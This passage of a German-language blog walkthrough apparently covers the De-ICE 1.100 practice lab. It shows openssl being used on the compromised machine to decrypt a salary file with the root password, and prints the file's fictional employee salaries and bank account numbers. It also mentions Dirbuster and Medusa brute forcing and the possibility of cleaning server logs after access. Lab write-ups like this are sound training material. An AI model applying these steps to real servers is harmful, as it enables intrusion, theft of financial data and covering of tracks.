-K/-iv key/iv in hex is the next argument -[pP] print the iv/key (then exit if -P) -bufsize <n> buffer size -engine e use engine e, possibly a hardware device. Cipher Types -aes-128-cbc -aes-128-cfb -aes-128-cfb1 -aes-128-cfb8 -aes-128-ecb -aes-128-ofb -aes-192-cbc -aes-192-cfb -aes-192-cfb1 -aes-192-cfb8 -aes-192-ecb -aes-192-ofb -aes-256-cbc -aes-256-cfb -aes-256-cfb1 -aes-256-cfb8 -aes-256-ecb -aes-256-ofb -aes128 -aes192 -aes256 -bf -bf-cbc -bf-cfb -bf-ecb -bf-ofb -blowfish -cast -cast-cbc -cast5-cbc -cast5-cfb -cast5-ecb -cast5-ofb -des -des-cbc -des-cfb -des-cfb1 -des-cfb8 -des-ecb -des-ede -des-ede-cbc -des-ede-cfb -des-ede-ofb -des-ede3 -des-ede3-cbc -des-ede3-cfb -des-ede3-ofb -des-ofb -des3 -desx -desx-cbc -rc2 -rc2-40-cbc -rc2-64-cbc -rc2-cbc -rc2-cfb -rc2-ecb -rc2-ofb -rc4 -rc4-40 root@slax:/home/ftp/incoming#openssl enc -aes-256-cbc -d -in salary_dec2003.csv.enc
Nach einigen kläglichen versuchen in denen ich den Chiper und das Passwort gewechselt habe kam ich dann irgendwann zu dieser Ausgabe
root@slax:/home/ftp/incoming# openssl enc -aes-128-cbc -d -in salary_dec2003.csv.enc|less ,Employee information,,,,,,,,,,,,,, ,Employee ID,Name,Salary,Tax Status,Federal Allowance (From W-4),State Tax (Percentage),Federal Income Tax (Percentage based on Federal Allowance),Social Security Tax (Percentage),Medicare Tax (Percentage),Total Taxes Withheld (Percenta ge),"Insurance Deduction (Dollars)","Other Regular Deduction (Dollars)","Total Regular Deductions (Excluding taxes, in dollars)","Direct Deposit Info Routing Number","Direct Deposit Info Account Number" ,1,Charles E. Ophenia,"$225,000.00",1,4,2.30%,28.00%,6.30%,1.45%,38.05%,$360.00,$500.00,$860.00,183200299,1123245 ,2,Marie Mary,"$56,000.00",1,2,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$100.00,$225.00,183200299,1192291 ,3,Pat Patrick,"$43,350.00",1,1,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$0.00,$125.00,183200299,2334432 ,4,Terry Thompson,"$27,500.00",1,4,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$225.00,$350.00,183200299,1278235 ,5,Ben Benedict,"$29,750.00",1,3,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$122.50,$247.50,183200299,2332546 ,6,Erin Gennieg,"$105,000.00",1,4,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$0.00,$125.00,183200299,1456567 ,7,Paul Michael,"$76,000.00",1,2,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$100.00,$225.00,183200299,1446756 ,8,Ester Long,"$92,500.00",1,2,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$0.00,$125.00,183200299,1776782 ,9,Adam Adams,"$76,250.00",1,5,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$0.00,$125.00,183200299,2250900 ,10,Chad Coffee,"$55,000.00",1,1,2.30%,28.00%,6.30%,1.45%,38.05%,$125.00,$0.00,$125.00,183200299,1590264 ,11,,,,,,,,,0.00%,,,$0.00,0,0 ,12,,,,,,,,,0.00%,,,$0.00,0,0 ,13,,,,,,,,,0.00%,,,$0.00,0,0 ,14,,,,,,,,,0.00%,,,$0.00,0,0 ,15,,,,,,,,,0.00%,,,$0.00,0,0 ,16,,,,,,,,,0.00%,,,$0.00,0,0 ,17,,,,,,,,,0.00%,,,$0.00,0,0 ,18,,,,,,,,,0.00%,,,$0.00,0,0 ,19,,,,,,,,,0.00%,,,$0.00,0,0 ,20,,,,,,,,,0.00%,,,$0.00,0,0
Sieht irgendwie aus als hätte ich da die Einkommen und Bankverbindungen der Mitarbeiter vor mir. Das nenne ich doch mal reiche Beute. Das Passwort zum entschlüsseln der Datei ist übrigens das root Passwort gewesen. Ich glaube damit sind wir dann auch endlich durch und die Zeitvorgabe hätte ich ja auch nur um lächerliche 4-6 Stunden überschritten, das geht ja noch. Mit etwas kleineren Wordlists hätte ich es vielleicht etwas schneller geschafft nur hätte das eventuell das Risiko mit sich gebracht das ich etwas übersehe. Bevor ich mich das nächste mal an so ein Projekt wage sollte ich mir dann wohl doch mein altes Wordlist Verzeichnis wieder auf den Laptop kopieren. Spätestens wenn einmal ein ernster Test ansteht könnten sich die als deutlich nützlicher erweisen. Für heute bin ich zumindest fertig, und so im großen und ganzen immer noch sehr zufrieden mit den Tools die bei Kali Linux so dabei sind. Die DE-ICE1.100 CD war weitestgehend wirklich einfach, vor wirkliche Probleme hat sie mich jetzt nicht wirklich gestellt. Ich muss aber zugeben das die openssl Geschichte eher gut geraten als wirkliches Wissen war. Erlich gesagt habe ich openssl heute das erste mal für die ver bzw. entschlüsselung von Dateien verwendet, dafür hat es dann doch recht gut geklappt. Die 45 Minuten halte ich so insgesamt für relativ unrealistisch alein nach dem ersten Lauf von Dirbuster war ich schon bei guten 1 1/2 Stunden. Zum Teil habe zwar ich das verbockt indem ich die Geschwindigkeit nicht hochgedreht habe, doch spätestens der Medusa Einsatz dauert mit einer ordentlichen Wordlist halt etwas länger. Wenn jemand da einen schnelleren Weg gefunden hat um auf die Kiste zu kommen bin ich da gerne für Vorschläge offen. Für heute reicht es mir aber erst einmal. In diesem Sinne noch viel Spaß beim spielen 😉
UPDATE:
Wer übrigens plant die hier beschriebenen Tools gegen echte Server einzusetzen der sei an dieser Stelle noch einmal gewarnt. Ein Blick auf die Logdateien des Servers sagt mir das ein solcher Angriff auf gar keinen Fall unbemerkt bleiben würde.
root@slax:/home/ftp/incoming# ls /var/log/ -ahl total 280M drwxr-xr-x 45 root root 300 Apr 12 07:35 . drwxr-xr-x 45 root root 200 Apr 11 16:32 .. -rw-r--r-- 1 root root 120M Apr 12 06:52 access_log -rw-r----- 1 root root 80 Apr 11 16:32 acpid -rw------- 1 root root 0 Apr 12 11:11 btmp -rw-r--r-- 1 root root 0 Apr 11 16:32 cron drwxr-xr-x 2 root root 60 Apr 11 16:32 cups -rw-r--r-- 1 root root 3.6K Apr 11 16:59 debug -rw-r--r-- 1 root root 8.9K Apr 11 16:32 dmesg -rw-r--r-- 1 root root 160M Apr 12 06:52 error_log drwxr-xr-x 2 root root 3 Jul 20 2006 iptraf -rw-r--r-- 1 root root 2.9K Apr 11 19:08 maillog -rw-r--r-- 1 root root 16K Apr 12 07:35 messages drwxr-xr-x 2 root root 3 Jul 20 2006 nfsd drwxr-xr-x 2 root root 36 Apr 2 2006 packages drwxr-xr-x 2 root root 3 Apr 2 2006 removed_packages drwxr-xr-x 2 root root 3 Apr 2 2006 removed_scripts drwxr-xr-x 2 root root 3 Jul 20 2006 samba drwxr-xr-x 2 root root 36 Apr 2 2006 scripts -rw-r--r-- 1 root root 2.5K Apr 12 11:33 secure drwxr-xr-x 12 root root 20 Apr 2 2006 setup -rw-r--r-- 1 root root 0 Apr 11 16:32 spooler -rw-r--r-- 1 root root 8.0K Apr 12 07:35 syslog
Ein 160 Megabyte großes error_log dürfte so ziemlich jedem Admin auffallen. Nachdem man erfolgreich auf den Server zugegriffen hat kann man das zwar mit den richtigen Rechten wieder säubern, doch so generell ist das Risiko nicht gerade klein. Wer jetzt auf die Idee kommt sowas über Tor zu versuchen wird sehr wahrscheinlich eher an Altersschwäche sterben als zu einem Ergebnis zu gelangen. Also Kinderchen NICHT NACHMACHEN!!!!